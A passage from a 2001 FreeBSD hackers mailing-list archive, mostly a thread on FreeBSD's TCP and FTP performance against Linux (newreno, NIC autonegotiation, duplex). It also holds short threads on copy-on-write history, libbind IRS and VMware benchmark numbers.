verify that there may be some truth to the report. (Call it unbiased independant verification.) Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 0:50:11 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cu518.adelaide.adsl.on.net (cu518.adelaide.adsl.on.net [150.101.236.10]) by hub.freebsd.org (Postfix) with ESMTP id 6D17737B41A; Wed, 28 Nov 2001 00:50:03 -0800 (PST) Received: from ns.aus.com (laptop.ns.aus.com [10.0.2.6]) by cu518.adelaide.adsl.on.net (8.11.0/8.11.0) with ESMTP id fASAvR707046; Wed, 28 Nov 2001 21:27:27 +1030 Message-ID: <3C04AE82.6080302@ns.aus.com> Date: Wed, 28 Nov 2001 19:59:38 +1030 From: Richard Sharpe Reply-To: rsharpe@ns.aus.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20010917 X-Accept-Language: en-us MIME-Version: 1.0 To: Greg Lehey Cc: Nate Williams , Poul-Henning Kamp , Wes Peters , developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128015614.32e30d8b.wes@softweyr.com> <15364.38174.938500.946169@caddis.yogotech.com> <25429.1006933507@critter.freebsd.dk> <15364.38767.82340.347344@caddis.yogotech.com> <15364.38174.938500.946169@caddis.yogotech.com> <25429.1006933507@critter.freebsd.dk> <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128183231.J61580@monorchid.lemis.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greg Lehey wrote: > I think I made a mistake by not opening this immediately. Certainly I > haven't seen any particularly animosity here so far, and Richard can > defend himself, so: FreeBSD hackers, meet Richard Sharpe. Richard, > meet the hackers. > > As I said, Richard's a member of the Samba team. He's also going to > be working on FreeBSD in the foreseeable future, so his intentions > here are completely honourable :-) He's sent me the report, but since > I didn't say I would send it to the entire development team, I'll wait > for his go-ahead (and the reply to a couple of questions) before > sending it on. I am quite happy for the report to be sent out. I do not believe I have an ax to grind here. While my background is more in Linux over the last few years, it has been fun to play around with FreeBSD (and it has more of an Ultrix feel to it :-). I am seeking to understand where I may have made mistakes, and not presented FreeBSD in its best light. Greg has already provided me with some feedback on that. However, I am also interested in where there might be some limits to concurrency (multiple people in the file system, etc), because in my new role I will be seeking to make it possible for Samba on a FreeBSD base to support 1000s to 10s of thousands of clients. -- Richard Sharpe, rsharpe@ns.aus.com, LPIC-1 www.samba.org, www.ethereal.com, SAMS Teach Yourself Samba in 24 Hours, Special Edition, Using Samba To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 1: 8:30 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from postoffice.aims.com.au (eth0.lnk.aims.com.au [203.31.73.253]) by hub.freebsd.org (Postfix) with ESMTP id 70A7837B41D for ; Wed, 28 Nov 2001 01:08:20 -0800 (PST) Received: from postoffice.aims.com.au (nts-ts1.aims.private [192.168.10.2]) by postoffice.aims.com.au with ESMTP id fAS98J184380 for ; Wed, 28 Nov 2001 20:08:19 +1100 (EST) (envelope-from chris@aims.com.au) Received: from ntsts1 by aims.com.au with SMTP (MDaemon.v3.5.3.R) for ; Wed, 28 Nov 2001 20:07:41 +1100 Reply-To: From: "Chris Knight" To: "'Nate Williams'" Cc: Subject: RE: FreeBSD performing worse than Linux? Date: Wed, 28 Nov 2001 20:07:38 +1100 Message-ID: <003b01c177ec$21e7c870$020aa8c0@aims.private> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 In-Reply-To: <15364.38767.82340.347344@caddis.yogotech.com> X-Return-Path: chris@aims.com.au X-MDaemon-Deliver-To: freebsd-hackers@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Howdy, I had a similar problem, especially with different FreeBSD 4.x boxes (4.1.1, 4.2, 4.3, 4.4-stable after dirpref merge) and with Windows NT systems, but the crap performance was only limited to FTP. SSH, NFS and CVS operations were all fine. The pre-4.3 boxes are all using RTL8029 cards, and the 4.3+ boxes are all Intel 8255x-based cards. The laptop has 4.4-stable and a D-Link DFE-650. The poor performance showed up in interactions with the 100Mbit/s cards (Intel, D-Link). They have all disappeared since I've explicitly set the links to 100Mbit/s with full-duplex. The switches and hubs are all 10/100 D-Links. My guess is that the autonegotiation feature of both the fxp and ed drivers somehow adversely affects FTP. However this is only surmise. My fix was based more on an inspired guess than methodical practice and I didn't get the opportunity to delve deeper into the reasons for the problem. Sometimes the real world can be a pain :-) Regards, Chris Knight Systems Administrator AIMS Independent Computer Professionals Tel: +61 3 6334 6664 Fax: +61 3 6331 7032 Mob: +61 419 528 795 Web: http://www.aims.com.au > -----Original Message----- > From: owner-freebsd-hackers@FreeBSD.ORG > [mailto:owner-freebsd-hackers@FreeBSD.ORG]On Behalf Of Nate Williams > Sent: Wednesday, 28 November 2001 18:51 > To: Poul-Henning Kamp > Cc: Nate Williams; Greg Lehey; developers@FreeBSD.ORG; FreeBSD Hackers > Subject: Re: FreeBSD performing worse than Linux? > > > > >Note, some of the performance issues were made better by > disabling the > > >TCP newreno implementation, but it's still poor and very > inconsistent > > >for hosts not on the local network, while the Linux box > next to it gets > > >much more consistent results. > > > > For what it's worth I have disabled newreno at my customer > sites as well > > and felt and heard less "bogosity" since. > > It's actually pretty awful. However, even with the fix I merged back > into RELENG_4, the performance with/without newreno is still *much* > worse (in terms of consistantly giving the same results) than the code > in FreeBSD 3.x. > > The interesting thing is that the application that's getting the most > press is one of our field technicians downloading a file over > anonymous > ftp by hand, so it's not like we're generating tons of traffic, or > alot of parallel connections. > > The connections hang, abort, and those that complete have numbers that > are *all* over the map. However, when connected to a Linux box on the > same network, none of these bad things occur. :( > > (And, we've verified the network is up by running ping in another > window.) > > > > > Nate > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 1:12:20 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from snipe.prod.itd.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by hub.freebsd.org (Postfix) with ESMTP id BA36D37B41B for ; Wed, 28 Nov 2001 01:12:18 -0800 (PST) Received: from 1cust240.tnt1.pasadena.ca.da.uu.net ([63.28.226.240] helo=fire) by snipe.prod.itd.earthlink.net with smtp (Exim 3.33 #1) id 1690lJ-0002nS-00 for hackers@FreeBSD.ORG; Wed, 28 Nov 2001 01:12:16 -0800 Message-ID: <001901c1780e$669376a0$6503c23f@fire> From: "Matthew" To: Subject: Date: Wed, 28 Nov 2001 13:11:34 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Disposition-Notification-To: "Matthew" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG any one know special pointers regarding topic of ipsec? Thans in advance! -------------------------------------------------- WWW.XGFORCE.COM The Leader in System Clustering Technology -------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 1:22:39 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from postoffice.aims.com.au (eth0.lnk.aims.com.au [203.31.73.253]) by hub.freebsd.org (Postfix) with ESMTP id 49A2F37B41C for ; Wed, 28 Nov 2001 01:22:29 -0800 (PST) Received: from postoffice.aims.com.au (nts-ts1.aims.private [192.168.10.2]) by postoffice.aims.com.au with ESMTP id fAS9MS184478 for ; Wed, 28 Nov 2001 20:22:28 +1100 (EST) (envelope-from chris@aims.com.au) Received: from ntsts1 by aims.com.au with SMTP (MDaemon.v3.5.3.R) for ; Wed, 28 Nov 2001 20:21:39 +1100 Reply-To: From: "Chris Knight" To: "'Nate Williams'" Cc: Subject: RE: FreeBSD performing worse than Linux? Date: Wed, 28 Nov 2001 20:21:38 +1100 Message-ID: <004101c177ee$15a9dce0$020aa8c0@aims.private> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 In-Reply-To: X-Return-Path: chris@aims.com.au X-MDaemon-Deliver-To: freebsd-hackers@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Howdy, As a follow-up, I've just checked the newreno setting on the boxes I experienced the problems with - newreno is on. I'll try turning it off and see if I experience any problems. BTW, what does it do exactly? Also, a query on my timesheets shows that I had the same FTP problems on a FreeBSD 3.2 box with the dc driver talking to an NT4 Terminal Server with onboard Intel 8255x controller via a 10/100 hub (full duplex), and also a FreeBSD 4.0 box with the rl driver talking to an NT4 Terminal Server with onboard Intel 8255x controller via a 10Mbit/s hub (full duplex). Disabling autonegotiation on the FreeBSD NIC fixed it. Only FTP was affected in both cases - SMTP, HTTP and SSH were all fine. It's beginning to look like a full duplex and autonegotiation problem. I hope this is of help to someone. Regards, Chris Knight Systems Administrator AIMS Independent Computer Professionals Tel: +61 3 6334 6664 Fax: +61 3 6331 7032 Mob: +61 419 528 795 Web: http://www.aims.com.au > -----Original Message----- > From: Chris Knight [mailto:chris@aims.com.au] > Sent: Wednesday, 28 November 2001 20:08 > To: 'Nate Williams' > Cc: 'freebsd-hackers@freebsd.org' > Subject: RE: FreeBSD performing worse than Linux? > > > Howdy, > > I had a similar problem, especially with different FreeBSD > 4.x boxes (4.1.1, 4.2, 4.3, 4.4-stable after dirpref merge) > and with Windows NT systems, but the crap performance was > only limited to FTP. SSH, NFS and CVS operations were all > fine. The pre-4.3 boxes are all using RTL8029 cards, and the > 4.3+ boxes are all Intel 8255x-based cards. The laptop has > 4.4-stable and a D-Link DFE-650. The poor performance showed > up in interactions with the 100Mbit/s cards (Intel, D-Link). > They have all disappeared since I've explicitly set the links > to 100Mbit/s with full-duplex. The switches and hubs are all > 10/100 D-Links. > My guess is that the autonegotiation feature of both the fxp > and ed drivers somehow adversely affects FTP. > However this is only surmise. My fix was based more on an > inspired guess than methodical practice and I didn't get the > opportunity to delve deeper into the reasons for the problem. > Sometimes the real world can be a pain :-) > > Regards, > Chris Knight > Systems Administrator > AIMS Independent Computer Professionals > Tel: +61 3 6334 6664 Fax: +61 3 6331 7032 Mob: +61 419 528 795 > Web: http://www.aims.com.au > > > > > -----Original Message----- > > From: owner-freebsd-hackers@FreeBSD.ORG > > [mailto:owner-freebsd-hackers@FreeBSD.ORG]On Behalf Of Nate Williams > > Sent: Wednesday, 28 November 2001 18:51 > > To: Poul-Henning Kamp > > Cc: Nate Williams; Greg Lehey; developers@FreeBSD.ORG; > FreeBSD Hackers > > Subject: Re: FreeBSD performing worse than Linux? > > > > > > > >Note, some of the performance issues were made better by > > disabling the > > > >TCP newreno implementation, but it's still poor and very > > inconsistent > > > >for hosts not on the local network, while the Linux box > > next to it gets > > > >much more consistent results. > > > > > > For what it's worth I have disabled newreno at my customer > > sites as well > > > and felt and heard less "bogosity" since. > > > > It's actually pretty awful. However, even with the fix I > merged back > > into RELENG_4, the performance with/without newreno is still *much* > > worse (in terms of consistantly giving the same results) > than the code > > in FreeBSD 3.x. > > > > The interesting thing is that the application that's > getting the most > > press is one of our field technicians downloading a file over > > anonymous > > ftp by hand, so it's not like we're generating tons of traffic, or > > alot of parallel connections. > > > > The connections hang, abort, and those that complete have > numbers that > > are *all* over the map. However, when connected to a Linux > box on the > > same network, none of these bad things occur. :( > > > > (And, we've verified the network is up by running ping in another > > window.) > > > > > > > > > > Nate > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-hackers" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 2: 0:32 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from InterJet.elischer.org (c421509-a.pinol1.sfba.home.com [24.7.86.9]) by hub.freebsd.org (Postfix) with ESMTP id C10F737B416 for ; Wed, 28 Nov 2001 02:00:23 -0800 (PST) Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id BAA13902; Wed, 28 Nov 2001 01:53:44 -0800 (PST) Date: Wed, 28 Nov 2001 01:53:43 -0800 (PST) From: Julian Elischer To: setantae Cc: =?iso-8859-1?Q?G=E9rard?= Roudier , Andrey Pugachev , freebsd-hackers@FreeBSD.ORG Subject: Re: Does FreeBSD support copy-on-write pages? In-Reply-To: <20011127215236.GA16727@rhadamanth> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG 386BSD got it from the MACH Vm=20 which was grafted into BSD some time in 1990 or the late 80's On Tue, 27 Nov 2001, setantae wrote: > On Tue, Nov 27, 2001 at 06:31:31PM +0100, G=E9rard Roudier wrote: > >=20 > >=20 > > On Tue, 27 Nov 2001, setantae wrote: > >=20 > > > On Tue, Nov 27, 2001 at 06:54:17PM -0000, Andrey Pugachev wrote: > > > > I am just curious, can FreeBSD kernel perform function called copy-= on-write? > > > > > > As far as I am aware, the BSD family of operating systems have always > > > used copy-on-write (at least since 4.3BSD). > >=20 > > My awareness is different and tells me that 4.3BSD had just vfork() but > > not COW yet, while System V had it years before. Sorry if I am wrong. >=20 > You're not. My bad. > At home now, and checking my daemon book I see SystemV, Release 2 got it = in > 1984, and it was introduced in 4.4BSD in 1993. >=20 > Ceri >=20 > --=20 > keep a mild groove on >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 2:46:41 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 346AB37B417; Wed, 28 Nov 2001 02:46:33 -0800 (PST) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 28 Nov 2001 10:46:32 +0000 (GMT) Date: Wed, 28 Nov 2001 10:46:29 +0000 From: David Malone To: Nate Williams Cc: Greg Lehey , developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011128104629.A43642@walton.maths.tcd.ie> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15364.38174.938500.946169@caddis.yogotech.com>; from nate@yogotech.com on Wed, Nov 28, 2001 at 12:41:18AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 28, 2001 at 12:41:18AM -0700, Nate Williams wrote: > > I've just been talking with a friend of mine from the Samba team. > > He's about to change jobs, and a lot of his work in future will > > involve FreeBSD. He's just been doing some performance testing, and > > while the numbers are pretty even (since he discovered soft updates > > :-), he's noticing some significant performance differences, > > particularly on the TCP/IP area. > > FWIW, I'm seeing this as well. However, this appears to be a new > occurance, as we were using a FreeBSD 3.X system for our reference test > platform. Someone recently submitted a PR about TCP based NFS being significantly slower under 4.X. I wonder if it could be related? http://www.freebsd.org/cgi/query-pr.cgi?pr=misc/32141 There is quite a lot of detail in the PR and the submitter has no trouble reproducing the problem. David. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 4:19:37 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mule.its.vu.edu.au (mule.its.vu.edu.AU [140.159.30.9]) by hub.freebsd.org (Postfix) with ESMTP id 5B45D37B417 for ; Wed, 28 Nov 2001 04:19:33 -0800 (PST) Received: from centaur.its.vu.edu.au (centaur.its.vu.edu.au [140.159.60.107]) by mule.its.vu.edu.au (8.12.1/8.12.1/Debian -2) with ESMTP id fASCJWxM002042 for ; Wed, 28 Nov 2001 23:19:32 +1100 Received: from cabsav.vu.edu.au (localhost [127.0.0.1]) by centaur.its.vu.edu.au (8.11.2/8.11.2) with ESMTP id fASCJVn16694 for ; Wed, 28 Nov 2001 23:19:31 +1100 (EST) Message-ID: <3C04D6AA.D0AB3790@cabsav.vu.edu.au> Date: Wed, 28 Nov 2001 23:20:58 +1100 From: foster X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "'FreeBSD Hackers'" Subject: libc and irs Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, Can someone please help me with (hopefully) a simple problem (don't know if this is -questions or -hackers question). I want to set up a 4.4 (stable) system to use the IRS facilities in bind (9.2) - I can build the static and shared libbind libraries (ldconfig finds shared libraries ok), and assume I need to rebuild libc and link against the shared libbind library. Not quite sure if this is correct and if so, how to do it. thanks Foster Hayward Victoria University of Technology To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 4:45:23 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by hub.freebsd.org (Postfix) with ESMTP id 7ADCC37B416 for ; Wed, 28 Nov 2001 04:45:18 -0800 (PST) Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.1/jtpda-5.4) with ESMTP id fASCjHTQ068809 for ; Wed, 28 Nov 2001 13:45:17 +0100 (CET) Received: from niobe.lpthe.jussieu.fr (l83wxh0mkpzagpyu@niobe.lpthe.jussieu.fr [134.157.10.41]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id fASCjHd01389 for ; Wed, 28 Nov 2001 13:45:17 +0100 (MET) Received: (from talon@localhost) by niobe.lpthe.jussieu.fr (8.11.6/8.11.6) id fASCjGB58043 for freebsd-hackers@freebsd.org; Wed, 28 Nov 2001 13:45:16 +0100 (CET) (envelope-from talon) Date: Wed, 28 Nov 2001 13:45:16 +0100 From: Michel TALON To: freebsd-hackers@freebsd.org Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011128134516.A57977@lpthe.jussieu.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Someone recently submitted a PR about TCP based NFS being significantly slower under 4.X. I wonder if it could be related? http://www.freebsd.org/cgi/query-pr.cgi?pr=misc/32141 There is quite a lot of detail in the PR and the submitter has no trouble reproducing the problem. For what it is worth i have exchanged mail with Alexander Haderer the author of the PR, and no, i have not seen nor reproduced his problem. I have done NFS exchanges between FreeBSD machines, and with Linux machines with NFS V3/TCP started by amd, since it was his problem, and all my speeds have been of the order of nominal speed (10 Mb/s and 100 Mb/s). On FreeBSD i am using FreeBSD 4.4-STABLE #0: Wed Oct 3 the NIC's are Intel 100 Mb/s 3Com 100 Mb/s and a D-Link 10 Mb/s on a laptop connected to a 3Com switch. No special tuning related to newreno. I have also downloaded a lot of things via ftp, locally and non locally and have observed no special slowing down. In particular i downloaded via ftp to a Linux box with a 100Mb/s 3Com card a whole 600Mb iso image at nominal wire speed. The Linux boxes run the latest RedHat. Here is also a ftp test to a Solaris box: 8727260 bytes received in 0.92 seconds (9275.56 Kbytes/s) As far as i can see always very correct speeds. This is extremely strange since Alexander Haderer was very aware of the half-duplex vs full-duplex issues and triple checked his installation. The only thing i have not checked is connection to a box running old version of FreeBSD, since i don't have one. -- Michel TALON To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 5:28:39 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from scribble.fsn.hu (scribble.fsn.hu [193.224.40.95]) by hub.freebsd.org (Postfix) with SMTP id F1BE437B417 for ; Wed, 28 Nov 2001 05:28:34 -0800 (PST) Received: (qmail 34567 invoked by uid 1000); 28 Nov 2001 13:28:33 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 28 Nov 2001 13:28:33 -0000 Date: Wed, 28 Nov 2001 14:28:33 +0100 (CET) From: Attila Nagy To: Chris Knight Cc: freebsd-hackers@freebsd.org Subject: RE: FreeBSD performing worse than Linux? In-Reply-To: <004101c177ee$15a9dce0$020aa8c0@aims.private> Message-ID: <20011128141953.R31801-100000@scribble.fsn.hu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, > Also, a query on my timesheets shows that I had the same FTP problems > on a FreeBSD 3.2 box with the dc driver talking to an NT4 Terminal > Server with onboard Intel 8255x controller via a 10/100 hub (full > duplex), and also a FreeBSD 4.0 box with the rl driver talking to an > NT4 Terminal Server with onboard Intel 8255x controller via a 10Mbit/s > hub (full duplex). Sorry, maybe it's my fault, but is there anything out there which has the name: "hub" and it's full-duplex? Or is it a switch in the above text, incorrectly mentioned as a hub? -------------------------------------------------------------------------- Attila Nagy e-mail: Attila.Nagy@fsn.hu Budapest Polytechnic (BMF.HU) @work: +361 210 1415 (194) H-1084 Budapest, Tavaszmezo u. 15-17. cell.: +3630 306 6758 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 5:55:34 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from tomts11-srv.bellnexxia.net (tomts11.bellnexxia.net [209.226.175.55]) by hub.freebsd.org (Postfix) with ESMTP id 2ADDB37B416; Wed, 28 Nov 2001 05:55:28 -0800 (PST) Received: from xena.gsicomp.on.ca ([199.243.149.34]) by tomts11-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011128135522.RLVT24249.tomts11-srv.bellnexxia.net@xena.gsicomp.on.ca>; Wed, 28 Nov 2001 08:55:22 -0500 Received: from localhost (matt@localhost) by xena.gsicomp.on.ca (8.11.1/8.11.1) with ESMTP id fASDl9U60099; Wed, 28 Nov 2001 08:47:09 -0500 (EST) (envelope-from matt@xena.gsicomp.on.ca) Date: Wed, 28 Nov 2001 08:47:08 -0500 (EST) From: Matthew Emmerton To: Nate Williams Cc: Greg Lehey , developers@FreeBSD.ORG, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: <15364.38174.938500.946169@caddis.yogotech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > FWIW, I'm seeing this as well. However, this appears to be a new > occurance, as we were using a FreeBSD 3.X system for our reference test > platform. I recently updated it to FreeBSD 4.4-RELEASE, and I'm getting > nothing but complaints about broken connections, poor performance, and > very inconsistent results. Most likely between 3.x and 4.4-REL the driver for the network card(s) that you're using got changed, and are now causing problems. Many drivers are now much more picky about media problems, so it would be wise to make sure that the hosts on the local LAN segment aren't a) filling the LAN with garbage from a bad cable, and b) the FreeBSD is hooked to the LAN with a good cable. -- Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 7: 7:25 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from castle.jp.freebsd.org (castle.jp.FreeBSD.org [210.226.20.15]) by hub.freebsd.org (Postfix) with ESMTP id 25E0137B416 for ; Wed, 28 Nov 2001 07:07:22 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by castle.jp.freebsd.org (8.9.3+3.2W/8.7.3) with ESMTP id AAA80454 for ; Thu, 29 Nov 2001 00:07:20 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) In-Reply-To: <200111132339.aa29506@salmon.maths.tcd.ie> References: <20011113165944.G52323-100000@fledge.watson.org> <200111132339.aa29506@salmon.maths.tcd.ie> X-User-Agent: Mew/1.94.2 XEmacs/21.5 (alfalfa) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 50 From: Makoto Matsushita To: hackers@FreeBSD.ORG Subject: Re: FreeBSD on vmware Date: Thu, 29 Nov 2001 00:07:18 +0900 Message-Id: <20011129000718I.matusita@jp.FreeBSD.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG iedowse> Someone mentioned on a list somewhere that vmware takes forever to iedowse> emulate the cmpxchg instruction, and that using the I386_CPU version iedowse> of atomic_cmpset_int() helps a lot. I really know I'm doing a stupid thing, but here is benchmark results of both "plain" and "patched" 5-current (as of Nov/26/2001). Patched FreeBSD is about 10% faster than before. *** Before: TEST BASELINE RESULT INDEX Arithmetic Test (type = double) 2541.7 156596.8 61.6 Dhrystone 2 without register variables 22366.3 1214131.7 54.3 Execl Throughput Test 16.5 25.1 1.5 File Copy (30 seconds) 179.0 1684.0 9.4 Pipe-based Context Switching Test 1318.5 710.9 0.5 Shell scripts (8 concurrent) 4.0 7.0 1.8 ========= SUM of 6 items 129.1 AVERAGE 21.5 *** After: TEST BASELINE RESULT INDEX Arithmetic Test (type = double) 2541.7 167038.3 65.7 Dhrystone 2 without register variables 22366.3 1267100.0 56.7 Execl Throughput Test 16.5 45.0 2.7 File Copy (30 seconds) 179.0 2863.0 16.0 Pipe-based Context Switching Test 1318.5 1372.6 1.0 Shell scripts (8 concurrent) 4.0 12.5 3.1 ========= SUM of 6 items 145.3 AVERAGE 24.2 *** Note that both are tested with: - Same kernel configuration (but not GENERIC kernel) - VMware Workstation 3.0.0 build 1455, WindowsXP Pro host - 96MB RAM for FreeBSD guest OS - 1.9GB Virtual Disk is on ATA66 HDD of host PC. - Host PC has one Pentium3 850Mhz CPU -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 7:18:20 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from prism.flugsvamp.com (cb58709-a.mdsn1.wi.home.com [24.17.241.9]) by hub.freebsd.org (Postfix) with ESMTP id 60A5D37B417; Wed, 28 Nov 2001 07:18:12 -0800 (PST) Received: (from jlemon@localhost) by prism.flugsvamp.com (8.11.0/8.11.0) id fASFFBY82524; Wed, 28 Nov 2001 09:15:11 -0600 (CST) (envelope-from jlemon) Date: Wed, 28 Nov 2001 09:15:11 -0600 From: Jonathan Lemon To: Nate Williams Cc: Poul-Henning Kamp , Greg Lehey , developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011128091511.A75389@prism.flugsvamp.com> References: <15364.38174.938500.946169@caddis.yogotech.com> <25429.1006933507@critter.freebsd.dk> <15364.38767.82340.347344@caddis.yogotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <15364.38767.82340.347344@caddis.yogotech.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk 